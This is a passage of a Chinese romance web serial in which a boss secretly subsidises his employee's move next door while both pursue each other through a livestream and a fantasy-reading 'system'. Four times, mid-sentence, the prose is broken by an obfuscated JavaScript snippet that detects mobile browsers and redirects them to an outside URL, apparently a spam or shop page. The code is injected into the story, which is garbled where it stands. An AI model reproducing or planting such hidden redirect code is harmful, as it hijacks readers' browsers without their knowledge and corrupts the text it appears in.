那几秒的僵持,让程迦感到一种陌生的狼狈。 他习惯了她面对工作难题时的坚韧,甚至暗自欣赏她偶尔露出的锋利,却从未想过,她会因为他的存在本身,而露出如此脆弱戒备的一面。 他喉咙有些发干,试图用最平实的话语解释,打破这令人窒息的空气:“你还没走。” 听到这话,许知微紧绷的肩膀似乎微微松懈了一丝,但手中的武器并未放下,眼神里的疑虑也未完全散去。 程迦几乎是本能地,选择了最安全也最糟糕的话题: “新项目……进度还顺利吗?” 话一出口,他就看到了她眼底迅速掠过的情绪——那是一种混合着疲惫、恼怒与果然如此的讥诮。 “……时间线已经发给你了。”她的声音有些沙哑,没好气地吐出几个字,显然不想多谈。 程迦知道她误会了,那句“我不是来催进度”的辩解在舌尖滚了滚,却被电梯到达的“叮”声打断。 梯门缓缓打开。 她像是终于找到了逃离这尴尬又令人不安的局面的出口,看也没再看他一眼,放下手里的武器(现在看起来更像扫把的手把),快步走向电梯。 眼看她就要踏入轿厢,梯门开始缓缓闭合。 那一瞬间,某种比理智更快的冲动攫住了程迦。 他长腿一迈,在电梯门即将完全合拢的最后一刹,伸手挡住了感应区。 门重新打开。 许知微站在电梯内,愕然地抬头看着他,眼神里满是疑惑,还有一丝未褪尽的警惕。 程迦对上她的视线,所有准备好的说辞都卡在了喉咙里。 他总不能说“我想送你安全去地铁站”。 他以什么身份? 目光掠过她因紧张而微微泛红的脸颊,他喉结动了动,最终只挤出一个干巴巴的、连自己都觉得蹩脚的理由: “……我也下班了。” 说完,他侧身挤进电梯,几乎是下意识地,站到了离她最远的对角位置,迅速按下了一楼键。 梯门合拢,将外界最后一丝声响隔绝。狭小的金属空间瞬间被一种粘稠的寂静充斥,连通风口的微弱气流声都清晰可闻。 物理距离被强行压缩,她身上淡淡的、混合了咖啡与一丝疲惫的气息,隐隐飘散在空气里。 程迦能听到自己尚未完全平复的、因爬楼而略显急促的呼吸,以及,在寂静放大下,越来越清晰、越来越无法忽略的心跳声。 咚。 咚。 咚。 沉重而迅疾,撞击着胸腔,仿佛要挣脱肋骨。绝不全是因为刚才的运动。 这是他和她,极少有的、完全独处的密闭时刻。没有工作议题横亘其间,没有其他同事分散注意,只有这不足三平米的悬浮空间,以及两人之间那道无形的、却又因沉默而无比清晰的界限。 温度也在封闭的空气中无声攀升。 他甚至能感觉到自己后颈渗出的薄汗,也绝不全源于运动后的余热。 一个荒唐的念头,倏地划过脑海——如果电梯此刻突然故障,停在这不上不下的地方。 这个想法让他喉结猛地一滚,随即被更强烈的理智按灭。 他真的太卑劣。 现实中,电梯运行平稳,楼层数字规律地递减。 5…4…3…他心头升起一丝仓促的失落。 2…1… “叮——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127080|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 轻快的提示音响起,梯门顺畅地向两侧滑开。 一楼大厅冷白明亮的灯光和略带凉意的夜风瞬间涌入,吹散了轿厢内那短暂凝结的、夹杂着复杂心绪的微妙空气。 怎么这么快? 他甚至没来得及整理好表情,没来得及想出一句更自然的告别。 许知微已经率先一步迈了出去,背影干脆,没有丝毫停留的意思。 程迦跟在后面走出电梯,看着她的身影迅速融入大厅的阴影,走向通往地铁口的方向。 程迦也抬脚跟上,一如既往地保持着安全距离——像白天会议室里那样,给对方留出足够的空间,又确保自己仍在场。 直到她忽然停下。 他还没来得及反应,她已经转过身来,甚至往前逼近了半步。 这个距离过近了,近到他能闻到她身上残留的咖啡与纸张混合的气味,还有加班后那种微凉的体温。 呼吸一屏。 “程总,”许知微开口,语气里带着一些烦躁,“你要是对我给的计划不满意,可以直接跟我讲。” 他不知怎么解释,只得抬手,指了指她身后不远处那片在夜色中轮廓分明的高档小区,灯光稀疏而安静。 “我住那边。”他最后开口。 许知微顺着他指的方向看了一眼,嘴角轻轻一挑。 “步行五分钟。”她轻哼了一声,语气凉凉的,“程总住得近,难怪天天留别人加班。” 程迦听出了她的调侃,却无从解释。 怎么解释? 他留她加班,是出于卑劣的私心,想多跟她待会儿? 许知微也没给他机会解释,转过身,继续往地铁站的方向走。 程迦赶紧快走跟上,试图找找话题: “你也可以搬到这附近住。” 可话一出口,他就后悔了。 怎么听起来这么别扭? 果然,许知微停都没停,只低低地笑了一声,笑声里没有温度。 “我每个月到手刚好两万,”她边走边说,“住不起这么高级的地方。” 这个他可以解决! 所以程迦几乎是条件反射般地接话: “这里不贵。” 可话音刚落,他就看到她肩背的线条明显绷了一下。 “也是。”她偏过头,语气带着刺,“程总肯定是买的房子,哪儿知道租金价。” 他立刻意识到自己似乎又踩错了一步,急切地补上:“我知道。我对面那个公寓最近就在招租,一万一个月,月付,挂出去挺久了都没租出去,前两天还在说要再降一千——” 她猛地停住。 程迦跟在后面,差点撞上她的后背,好在反应快,及时刹住了脚步。 夜风从两人之间穿过。 她慢慢转过头,看着他,眼神里有一种他从未见过的、近乎荒诞的不可置信。 “一个月一万块,”她一字一顿地说,“不贵?” 程迦一愣。 又报高了? 这还是他故意报低的价格。 对方要价一万四,他本想着,如果许知微感兴趣,他就去跟房东说,剩下的四千他出。 可即使这样,还是报高了。 他的大脑像是短暂地失去了坐标系,努力矫正自己的认知。 “好了,不许说了。”许知微抬手打断,语气里满是疲惫与烦躁,“本来加班赶进度就够烦的了。” 话音落下,她已经小跑着冲进了地铁站入口。感应灯亮起,又在她身影消失后迅速熄灭,只留下空荡荡的台阶和渐远的脚步声。 程迦站在原地,没有再追。 这么多年了,他还是一靠近,就会让她感到讨厌。 12. 主人 夜里回到家,门在身后“咔哒”一声锁上,世界的喧嚣才像潮水般退去,留下真空般的死寂。 许知微把包随手丢在地上,没开灯,背靠着冰凉的门板,身体慢慢滑坐下去。 黑暗中,刚才地铁站前那一幕非但没模糊,反而越发清晰刺眼—— 程迦站在地铁站门口,指着身后的高档小区,暖黄的写字楼灯打在他脸上,神情是纯粹的认真,甚至带着点不谙世事的困惑,对她说:“你也可以搬近一点。” 不算施舍,也算不上嘲讽。 正因如此,才更让她胃部痉挛般拧紧。 那是一种生长在绝对安全垫上的人,才会拥有的、天真的残忍。他们不是故意忽略沟壑,而是他们的世界里,本就不存在那些需要挣扎才能越过的障碍。 ——你为什么不选那条更轻松的路? ——你为什么要把自己搞得这么累? 她猛地吸了口气,又重重吐出,仿佛要把堵在胸腔的那团棉絮般的闷气挤出去。 换鞋、洗手,动作带着压抑不住的粗重。手机屏幕在黑暗中亮起刺眼的光,她几乎是带着一种自虐般的执拗,再次点开了那个账号。 走leetcode。 头像灰暗。 未开播。 她盯着那片灰色,嘴角扯出一个没有温度的弧度。 “很好。”她对着空气轻声说,声音干涩,“你不在。” 【检测到宿主情绪波动,建议按计划推进幻想值获取任务。】主控的声音无机质地响起。 “今天没心情。”她把手机往沙发一掼,却又在两秒后把它捞回来,指尖用力到泛白,“……速战速决。” 她翻出相册,指尖快速划过。选了几张之前精心拍过、反复检查过安全边界的存货。 构图克制,光影暧昧,只露出颈肩或腰背的一截曲线,所有可能引发联想的部位都巧妙隐藏或遮挡。 是游走在规则刀尖上、需要提心吊胆的安全牌。 上传,发布,动作一气呵成。 接着,她熟练切换小号,用“微微不微”给自己点了个引流的赞,留下一条模棱两可、能吸引同类流量的评论。 做完这一切,她把手机屏幕朝下扣在茶几上,像完成一项令人作呕的流程作业,转身进了浴室。 热水兜头浇下,蒸腾的雾气试图软化僵硬的筋骨和紧绷的神经。 她闭着眼,任由水流冲刷,仿佛这样就能洗去白天的疲惫、地铁的拥挤、会议室里无形的压力,还有那句轻飘飘的“搬近一点”。 然而,当她擦着头发走出来,指尖刚碰到手机—— 提示栏的爆炸式推送,像一声无声的喝彩。 点赞数疯狂跳动,评论以肉眼可见的速度刷屏。 深夜的流量场,果然如饥似渴。 一丝极其微弱的顺利感,刚要从心底冒头—— 页面突然一白,强制刷新。 冰冷的系统提示,像判决书般弹出: 「您发布的内容因涉嫌违规已被删除。账号相关功能受限。」 许知微愣住了。 紧接着,一股冰火交织的暴怒,从脚底直冲天灵盖。 “我操!” 她几乎是吼出来的,声音在空荡的房间里显得尖利而绝望。 “他妈的凭什么?!”指甲深深掐进掌心,“他跪着求饶都没事!我他妈就发几张影子?!连根手指头都没露全!” 规则?边界?全是狗屁! 天龙人,做什么都有老天庇护着! 她猛地将手机砸进沙发软垫,又像害怕错过什么至关重要的反击机会,立刻扑过去把它抓回来。 就在这时—— 屏幕顶端,一条推送悄然而至,带着某种讽刺的准时: 「您关注的主播“走leetcode”已开播。」 许知微的动作骤然定格。 心口那团无处发泄、几乎要将她焚烧殆尽的邪火,瞬间找到了一个清晰、具体、且活该的靶子。 “呵……”一声极轻的、带着血腥气的冷笑,从她唇齿间逸出。 “上线了……正好。” 没有半分迟疑,她点进直播间,无视一切开场寒暄和滚动的弹幕,指尖精准而冷酷地直奔主题——礼物列表最底端。 专属定制|¥500/10秒 支付。 确认。 输入框弹出,光标闪烁,像无声的倒计时,也像等待填写的审判书。 她盯着那片空白,白天被他用项目碾压的憋闷,刚才被平台区别对待的暴怒,以及更久远以来,所有关于金钱、时间、尊严的磨损与无力,全部汇聚成一股冰冷尖锐的洪流。 脑海中,再次浮现出他站在高档小区前,那张干净又刺眼的、带着“何不食肉糜”般困惑的脸。 下一秒,她指尖落下,敲击屏幕的力度,像在凿刻墓碑: 【定制:学乖小狗,叫主人。】 发送。 因为是突然直播,又是半夜,直播间里人本就不多。在线数字可怜地跳动着,弹幕稀疏,偶尔飘过一两条对深夜开播的惊讶询问。 许知微盘腿坐在沙发上,手机屏幕的光映亮了她没什么表情的脸。她没有发任何弹幕,只是静静地等着她点的定制。 镜头里,灯光晦暗不明,只在他身上投下深浅不一的阴影。 他显然也意识到自己的开播毫无准备,开场动作甚至带着一丝罕见的迟滞和心不在焉。 背景音乐低回,更像是为了填补寂静,而非烘托氛围。 直到那条刺目的定制提示,伴随着带着音效的宣读,悍然占据屏幕中央。 弹幕瞬间惊醒: 【卧槽???专属定制?这个点?】 【金主妈妈又来了!!】 【这次是啥??快让我看看!】 【那个定制按钮到底在哪里??!!】 许知微的指尖无意识蜷缩了一下。 画面中央那个身影,在提示亮起的刹那,明显地僵住了。 她似乎看到他面具下极轻微地、几乎不可察地摇头,仿佛在无声地叹气,像是对这深夜突如其来的指令感到一丝荒谬。 所以他没有立刻动作。 时间在沉默中流逝了两秒。 弹幕开始出现问号。 【??哥?】 【卡了?】 然后,他才像是终于接受了这个任务,极其缓慢地,有了动作。 先是肩膀几不可察地塌下去一点,像是卸掉了某种坚持。 然后,他侧过身,没有完全面对镜头,而是将半个身体隐入更深的阴影里,只留下一个线条利落的侧影轮廓。 他抬起一只手,指节分明的手指,有些烦躁似的,抓了抓自己的后颈头发——这个动作让他颈侧的线条和绷紧的肩胛肌理,在昏黄的光线下暴露无遗,充满了某种无意识的、雄性动物般的张力。 接着,他微微低下头。 这个角度,让他没被面具遮挡的下颌至喉结的线条拉出一道隐忍的弧线。喉结上下滚动了一次,很慢,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127081|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在进行艰难的心理建设。 整个姿态,充满了抗拒、尴尬,却又因那份强忍的顺从,滋生出一种极其矛盾的吸引力。 仿佛一个平日高傲冷淡的人,被迫在你面前,一点点剥去外壳,露出内里那点不为人知的、生涩的笨拙。 人少的直播间,反而让这份私下的别扭感被放大。 没有喧嚣的弹幕海淹没细节,每一个细微的肌肉牵动,每一次呼吸带来的胸膛起伏,都清晰可辨。 许知微屏住了呼吸。 她看着他这副样子,心口那团熊熊燃烧的怒火,奇异地没有熄灭,却仿佛被浇上了一层油,燃烧得更加复杂难言。 报复的快意依旧存在,但另一种更细微的、近乎凌虐般的悸动,混杂着对他此刻姿态无法否认的视觉冲击,悄悄漫了上来。 然后,她听见了。 经过变声器处理的声音,比平时更低,更沉,还带着一丝难以掩饰的、干涩的滞碍,像是从喉咙深处很勉强地挤出来: “……主人。” 两个字。 甚至因为那份别扭和压低,显得有些模糊。 但足够了。 在寂静的深夜,在昏暗的灯光下,在他那副充满抗拒却又最终屈从的身体语言衬托下,这两个字,像带着细小倒钩的羽毛,轻轻搔刮过最敏感的神经末梢。 弹幕在片刻的死寂后,彻底疯了,尽管人不多,刷屏的速度却快得惊人。 许知微没有看弹幕。 她的目光死死锁在屏幕上那个迅速直起身、仿佛想立刻摆脱刚才那片刻窘迫的身影上。 灯光晃动,他重新隐回节奏里,动作甚至比之前更快了些,带着一种欲盖弥彰的仓促。 可她脑海里,反复回放的,却是他刚才低头那一瞬,颈后微微凸起的脊椎骨节,和那声压抑的、带着别扭温度的—— “……主人。” 心脏,在胸腔里,不轻不重地,又跳漏了一拍。 这狗男人,现在也太会了吧! 不愧是自己一步步看着成长起来的。 就是太贵了。 十秒,五百块。 许知微快速心算了一下:今晚五百,上次五百。如果按照这种心情不好就点他一次的频率,一个月少说也得四五千。 四五千——加上自己这个老破小的五千租金,足够支付程迦今天提到的那片高档公寓一个月的租金了。 还是月付。 这个冰冷的数字对比,兜头浇灭了她心头那点因掌控而滋生的隐秘快意。 等等。 一个念头,如同黑暗中擦亮的火柴,倏地照亮了某个一直被忽略的角落。 她的目标是让程迦对她产生幻想,从而从系统那里赚钱。 现在的路径是:在直播间用“走leetcode”的账号试探他的偏好,再试图在现实中影响程迦。 但如果——她直接搬到程迦对面呢? 物理距离的缩短,意味着观察机会的指数级增加。她可以更直接地看到他的生活节奏、接触的人、甚至可能窥见某些不为人知的习惯。 这比隔着网络和变声器,揣摩一个刻意表演的“走leetcode”,要直观得多,也便宜得多。 用付给“走leetcode”的定制打赏钱,去租能看到程迦的公寓。 这笔账,怎么算都好像……更划算。 许知微的眼睛在手机屏幕黯淡下去的光线里,微微亮了起来。 那是一种发现新路径、新漏洞时,属于猎手的光芒。 13. 搬家 程迦是带着一身未散的汗意回来的。 健身房的灯光和器械的低鸣似乎还黏在皮肤上,肌肉因适度疲惫而松弛,心跳尚未完全归于平稳。 他拎着运动包走出电梯,走廊冷白、寂静、秩序井然,如同他生活本身的延展。 然后,他看见了—— 自家对门敞开着。 纸箱沿着墙根堆放,胶带反着光,窸窸窣窣的移动声打破了固有的静谧。 有人在搬家。 这推测瞬间点燃了皮层下所有蛰伏的神经末梢。 他当然知道是谁。 甚至在视觉完全确认前,身体已先于理智做出了反应——脚步微不可察地放缓,呼吸变深,肩背线条下意识地绷紧,一种近乎狩猎本能的警觉与兴奋悄然弥漫。 她真的搬来了。 这个念头擦过理智的边缘,带着一种深藏的满足感。 对面房东几天前那通随口提起的电话,那套特意为她调整到咬牙能够到的租金方案,以及他不动声色补足的差额,一切铺垫,都是为了此刻,这个合法且自然的靠近。 他在电梯口停下,借着光滑的金属门扉,快速审视了一下自己的状态。 运动后的潮红未褪,发梢微湿,衣领松散,比工作日少了几分凌厉,多了些活生生的气息。 ——很好。 他在脑海里试图模拟好语气,那种恰到好处的惊讶与邻里间的客气:“这层要热闹起来了?”或者更随意些,“需要搭把手吗?” 可就在他调整呼吸,准备转身偶遇时—— “程总?” 熟悉的声音自身后响起,近在咫尺。 毫无预兆。 程迦的动作骤然顿住,脊背肌肉瞬间收紧。 “你干嘛在电梯口站着?” 他僵硬地转过身。 许知微就站在几步之外,手里拎着印有便利店logo的塑料袋,简单的T恤牛仔裤,头发随意束起,脸上没有任何妆容的修饰。 褪去了职场那层锋利的壳,她看起来,异常真实,也异常靠近。 所有预演好的剧本瞬间蒸发。 大脑空白了一瞬。 身体再次比思维更诚实——心跳漏了一拍后骤然加速,喉结不受控制地上下滚动,暴露了那份毫无准备的慌乱。 “你怎么在这儿?”他问,声音里的惊讶没有半分伪装。 他确实没料到,许知微不在屋子里,而是从楼梯口出来。 看着她褪去工作的模样,胸腔里那股刚被运动压下去的躁动,轰然复燃,烧得他心尖发麻。 “我搬家啦……房子真的很好。”她笑了笑,语气轻松,带着完成一桩划算交易的满意,“谢谢你给我介绍这么性价比高的地方,以后通勤省下的时间,可以多投给项目了。” 他点了点头,喉头发紧,原本想说“隔音尚可”“早餐不错”“不必总想着工作”。 所有那些多余的关心,都被无措死死按在唇齿之后。 最后,他只挤出一句干涩的:“有需要帮忙搬的东西吗?” 话音未落,电梯“叮”声再响。 门开,两名搬家工人抬着大型家具出现,目标是对门。 场面一时寂静。 他那句帮忙,显得如此多余又可笑。 程迦站在原地,又一次如此清晰地感受到那种不被需要的尴尬。 她的人生,似乎总是安排得妥帖,无需他人插手。 许知微适时地笑了,语气轻快,替他圆场:“早点说啊,下次搬家找你。” 下次。 一个充满社交智慧的缓冲词。 他从她嘴里听过太多次类似的下次,它们从不指向未来,只负责抚平当下的窘境。 他喉结动了动,只能应道:“好。” 而她已经转身进屋,门未关严,传来她清晰指挥摆放位置的声音。 程迦在走廊里站了片刻,直到那扇门内的光影彻底隔绝了视线,才转身回到自己家。 门关上的刹那,一种清晰的落空感随之降临。 今天是周末——原计划是看书。 可当他换了衣服,倒了水,在沙发上摊开读到一半的书。 字句清晰,逻辑严密,却一个字也进不去。 全部的注意力,像被磁石吸引,不可抗拒地飘向那堵墙的另一边。 她在对门。 这个事实本身,就构成了专心看书的干扰源。 所以他果断地合上书,放弃挣扎。 解锁了脑海里系统界面,指尖在冰冷的虚空中滑动,精准地点开了那个被他反复标记、几乎刻入潜意识的片段——来自“微微不微”的、他最常回溯的那段幻想记录。 画面亮起,熟悉的节奏在大脑里想起,是她幻想中靠近他时,那种带着明确渴望的、步步紧逼的气息与韵律。 他靠在沙发上,闭上眼,任由意识下沉。 而几乎就在同时—— 墙的另一侧,现实的声音隐约透了过来。并不是脑海里幻想的音频,是真实的、属于此刻的许知微的声响:零碎的对话片段,移动物品的摩擦声,脚步踏过地板的轻响。 现实与幻想,在此刻交融。 他知道自己在做什么。 他在利用系统,卑鄙地窃取她私密的幻想,来喂养自己现实中无法言说的渴望,尤其在她物理距离如此之近的此刻,这行为近乎渎神,也近乎堕落。 可欲望让他难以停止。那种明知不该、却无法抗拒的背德感,混合着“她就在对面”这一事实带来的极致刺激,形成一股汹涌的暗流,将他吞没。 幻想中的画面变得前所未有的清晰、滚烫,与现实中的细微声响重叠,创造出一种令人头皮发麻的、双重侵占的幻觉。 他呼吸渐重,指尖深深陷进沙发面料。 一想到许知微就在一墙之隔的现实存在,像一剂强效催化剂,将系统里那些冰冷储存的幻想数据,全部激活成了灼热滚烫的、几乎拥有实体触感的幻境。 程迦的意识彻底沉沦下去。 画面、声音、气息、乃至肌肤相贴时细微的战栗,都变得无比清晰。 他能感觉到她的指尖是如何带着某种研究般的专注,划过他绷紧的背肌线条,像是在确认某种雕塑的质感; 能听见她压低的、带着气音的指令,一种更危险的、不容置疑的引导; 能看到她微微汗湿的额发贴着脸颊,眼睛亮得惊人,里面映出的,全是他的倒影——那个被剥去所有社会身份的他。 在这里,他被允许、甚至被期待给出的回应,所以他终于可以宣告他的迷恋,意识一点点下沉,注意力被她彻底占据。 现实里,他的汗水也浸湿了额发和后背的衣料,呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127082|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸沉重,心脏撞击着胸腔。 这种反复拉扯的灼烧跟愉悦,不知持续了多久。 时间在意识的深海里也失去了刻度。 直到某种系统内置的、保护性的临界提示,如同一根极细的冰线,猝然刺入他沸腾的神经—— 【警告:单次神游时长及强度已接近预设上限。建议中断,防止意识过载。】 那股将他紧紧包裹的、令人窒息的快感与幻象,如同潮水般猛然退去。 程迦猛地睁开眼,像是从深水中挣扎着浮出水面,肺部急需空气般大口喘息。 视野有几秒的模糊和涣散,耳畔嗡鸣,身体却还残留着剧烈反应后的虚脱与敏感,每一寸皮肤都仿佛被微电流掠过,微微发麻。 他躺在沙发上,胸膛起伏,望着天花板上熟悉的光影,有种近乎劫后余生的恍惚,以及更深层的、餍足后的空洞。 窗外,天色不知何时已彻底暗沉下来。房间里没有开灯,只有电子设备待机的微弱光芒。 他看了一眼时间。 晚上七点零三分。 他竟然,从下午回来,一直神游到了现在。 饭自然没吃,连水都没喝一口。 胃部后知后觉地传来一阵尖锐的饥饿感,混合着大量能量消耗后的虚弱。 他撑着有些发软的身体坐起来,甩了甩头,试图驱散最后一丝眩晕。 必须得弄点吃的,否则身体会垮。 走进厨房,打开冰箱。里面食材齐全,但此刻他只想用最快的方式填饱肚子。 拿出意面和酱料,烧水,动作有些迟缓,像是大脑和身体还没完全同步。 水刚刚烧开,他将意面投入滚水中。 就在他转身去拿橄榄油时—— “叮咚。” 清脆的门铃声,毫无预兆地划破了房间内的寂静,也刺穿了他尚未完全平复的神经。 程迦动作一顿,心脏没来由地紧了一下。 这个时间,物业?快递? 一种微妙的预感,勾起他时常会在梦里出现的渴望。 他擦了下手,走到玄关,目光落在墙壁上的可视门铃屏幕上。 高清画面里,走廊冷白的灯光下,站着一个人。 许知微。 ——不是梦。 她似乎刚运动过,头发还带着湿气,随意地披在肩头,穿着舒适的T恤,手里好像还拿着什么东西。 一想到她此刻竟然真的站在他家门口,程迦的呼吸,也跟着屏住了。 几分钟前还沉浸在由她而起的、极度私密甚至疯狂的幻想余韵里,几分钟前还隔着走廊感知她的存在,此刻,制造了所有幻象与现实混乱的源头本人,就站在他的门外。 隔着这道薄薄的房门。 现实与还未散尽的幻想碎片猛烈对冲,让他太阳穴突突直跳,喉咙发干。 ——她来干什么? ——他该用什么表情开门? “程总?”门外的许知微似乎等了一下,又按了一次门铃,声音透过隔音的门板,模糊地传了进来,“你在家吗?” 程迦盯着屏幕上她微微偏头、略带疑惑的脸,指尖无意识地蜷缩了一下。 他深吸一口气,努力压下所有翻腾的、不合时宜的情绪,伸手,握住了冰凉的金属门把手。 咔嚓。 门,向内打开了。 14. 洗澡 许知微拆到第九个纸箱时,汗意终于爬满了全身。 T恤湿透后紧紧贴在皮肤上,每一次呼吸都带着潮湿的烦躁。 她直起僵硬的腰,几乎是本能地拧开卫生间的水龙头,想洗个澡。 一秒。 两秒。 水管深处只传来空洞的干呕声,接着是几声沉闷的回响。 ——没有水。 她愣了下,将阀门猛地扳到另一边。 这次水流倒是来了,却带着刺骨的、毫无缓冲的冰凉,溅在手背上,激得她皮肤一缩。 她盯着哗哗流淌的冷水,被汗水蒸得发昏的脑子,终于迟缓地转动起来。 检查热水器,指示灯一片漆黑。 她后知后觉地想起房东交钥匙时那串连珠炮似的叮嘱里,好像模糊地提过一句“燃气得自己约开通”。 ——这房子,竟然没通气? “……” 许知微闭上眼,深深吸了一口气,又缓缓吐出,脑海里充斥着一种接近暴怒边缘的极度疲惫。 那她今晚,怎么洗澡? 房东下午倒是负责地主动交代了许多注意事项,包括开气。 可她忙忘了,临时决定搬家,旧合同新合同搬家公司,都要她盯着。 却偏偏漏掉了最基础、也最重要的一环。 看着窗外夜色浓稠,她按照房东留的须知,给燃气公司拨了过去,可自动应答语音在听筒里冰冷循环。 ——也是,这个点客服都下班了。 她低头审视自己:头发被汗水拧成几缕,黏在发红的后颈和脸颊。T恤领口湿了一圈,整个人像是刚从闷罐里捞出来,散发着狼狈的潮热。 ——澡还是要想办法洗的,不然今晚肯定睡不着。 所以挂掉电话后,她的大脑已经开始迅速检索所有可行方案。 首选:小区健身房——高档公寓标配,24小时,干净私密。 手也开始在包里翻找房东给的门禁卡,找到了。 可现实紧接着补上另一记重击。 门禁卡背面贴着房东给的另一条须知——门禁及附属设施权限,需等待周一工作日统一激活。 ——今天,周六。 所以此刻她手里那张崭新的门禁卡,只是一块印着漂亮Logo的塑料废片。 “……真行。”她从牙缝里挤出两个字。 她颓然坐回堆满纸箱的沙发上抬手抹了把额角,汗湿的掌心一片黏凉。 高强度忙碌时被肾上腺素压制的疲惫,此刻如同退潮后裸露的嶙峋礁石,一层层凸现出来,硌得她身心俱疲。 ——对了,程迦。 对门。 同一栋楼。 相同的健身房权限。 他的卡肯定也能用。 几乎没有犹豫,这个方案就被定为最优解。 然而,她的身体却仍停留在沙发上,没有立刻行动。 倒不是担心被拒绝。程迦或许冷淡,但并非不通人情,尤其在这种举手之劳上。 那点微妙的迟疑,来自属于成年人上下级的分寸感。 她也不想让这次求助显得理所当然,仿佛她的困境天然变成了对别人的索取。 她需要一道缓冲,一个让彼此都舒适的社交理由。 所以,她的目光扫过身旁一箱半开的箱子,落在那个包装精美、烫金Logo低调奢华的礼盒上。 那是曾经合作方送的,价格不菲,却因自己的出租房配不上,而一直闲置。 但此刻,作为新邻居的见面礼——可是太物尽其用了! 想到此,许知微迅速换了件相对干爽的T恤,将礼盒拎在手中,头发重新束起。 拿着礼盒,站在自家门口,面对那扇紧闭的门时,她深吸了一口气,这是她每次跑步前都给自己调整状态的小动作。 ——只是借卡。 ——洗完即还。 ——礼盒相赠 ——两不相欠。 指尖终于摁响门铃,在寂静的走廊里被放大。 等待开门的几秒钟里,一个意识突兀地闯入:这好像是她第一次,剥离了下属、观众、任务攻略者这些身份,仅仅作为许知微,站到他的私人生活边界。 这个认知,让她的心跳不由自主地漏跳了一拍。 还来不及细想,门开了。 她抬起脸,迅速调动肌肉,展露出一个足够自然、甚至带着点新邻居友好感的笑容,同时将手中的礼盒平稳递出: “程总,这是作为新邻居送你的礼物。” 她顿了顿,又补了一句,语气轻松得像是在说一件再普通不过的小事: “那个……还有个小事想请你帮忙。我刚搬过来,才发现房东没开气,我洗不了澡。” “所以,我想借一下——” 她的话音还没完全落下。 门内的程迦,动作却比她预想的任何反应都要突兀。 他几乎是下意识地侧身后退半步,手臂抬起—— “砰!” 门板在她面前,干脆利落地关上了。 沉重的实木门合拢的闷响,在走廊里回荡,也将她尚未完全收起的笑容和递出的礼盒,一并隔绝在外。 许知微怔在原地。 走廊顶灯冷白的光线毫无遮挡地照下来,映得她脸上的职业笑容也迅速褪去。 她看了看自己悬在半空、显得有些可笑的手,又转正头,盯着眼前紧闭的门板。 大脑空白了大概两个呼吸。 随即,一股被直白拒绝兼莫名其妙的怒火,混合着整晚积压的烦躁,猛地蹿上头顶。 ——什么意思? ——拒绝就拒绝,不能好好说么? ——有病吧? 那句带着火气的质问已经涌到舌尖—— “程迦你有——” 病还没出口。 “咔哒。” 门锁弹开的声音,轻微却清晰。 下一秒,那扇刚刚无情关上的门,又猛地从里面被拉开了。 程迦重新出现在门口。 他的动作带着一种明显的仓促,肩线绷得很紧,他没有看她,视线低垂,落在她脚边不远处的地面上,同时身体向侧后方让开一步,留出一个刚好容她通过的入口。 空气凝滞了。 许知微那已经冲到嘴边的诘问,硬生生噎住。 她微微眯起眼,警惕而探究地打量着他。 “……程总这是,”她开口,声音因刚才的情绪而略显生硬,“借,还是不借?” ——这人私下,怎么比在公司还不像个人? 程迦别过脸,走廊灯光下,耳廓泛起一层清晰可辨的、不自然的潮红。 他的声音压得很低,语速快得近乎含混,带着一种奇怪的、竭力维持镇定的紧绷: “进来吧。” 停顿,然后补充必要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127083|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息: “左转,直走,第二个房间是浴室。” 说完,他整个人仿佛耗尽了某种气力,肩背几不可察地松懈了一瞬,却依然固执地没有将视线转向她。 许知微:“……” 她没有立刻行动。 刚才电光石火间的关门、开门、让路、回避视线、报出浴室方位,这一连串动作在他过于迅速的演绎下,透出一股近乎笨拙的郑重。 这郑重,与借□□身房卡这件事的轻巧性质,产生了巨大的违和感。 理性迅速归位,冷静地拼凑出真相:他误会了。 他以为,他要借他的浴室洗澡。 这个误会很容易解释,但看到他由此产生的反应,许知微却来了兴致。 